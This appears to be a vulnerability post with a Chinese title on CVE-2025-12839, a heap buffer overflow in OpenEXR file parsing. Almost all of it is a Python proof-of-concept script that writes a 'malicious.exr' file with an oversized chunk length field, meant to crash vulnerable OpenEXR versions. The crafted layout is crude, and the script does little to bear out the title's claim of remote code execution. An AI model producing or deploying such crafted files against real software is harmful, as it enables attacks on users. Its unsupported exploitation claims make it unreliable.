CVE-2025-12839 OpenEXR EXR文件解析堆缓冲区溢出远程代码执行漏洞

/* * CVE-2025-12839 PoC - OpenEXR Heap Buffer Overflow * This PoC creates a malicious EXR file that triggers heap buffer overflow * during file parsing. * * Usage: python cve_2025_12839_poc.py * Generated malicious.exr can be opened with vulnerable OpenEXR version */ import struct import os def create_malicious_exr(filename): """Generate a malicious EXR file to trigger heap buffer overflow""" # EXR magic number magic = b'\x76\x2f\x31\x01' # Version field version = struct.pack('<I', 2) # version 2 # Malicious chunk data that triggers overflow # Attackers craft length field larger than allocated buffer malicious_header = b'\x00' * 64 # Padding to reach overflow point # Crafted chunk with oversized length chunk_length = 0x7FFFFFFF # Intentionally large value chunk_data = struct.pack('<I', chunk_length) + b'\x41' * 256 # Write malicious EXR file with open(filename, 'wb') as f: f.write(magic) f.write(version) f.write(malicious_header) f.write(chunk_data) print(f"[+] Malicious EXR file created: {filename}") print(f"[+] Chunk length field set to: {hex(chunk_length)}") if __name__ == '__main__': create_malicious_exr('malicious.exr') print("[+] PoC ready for testing on vulnerable OpenEXR versions")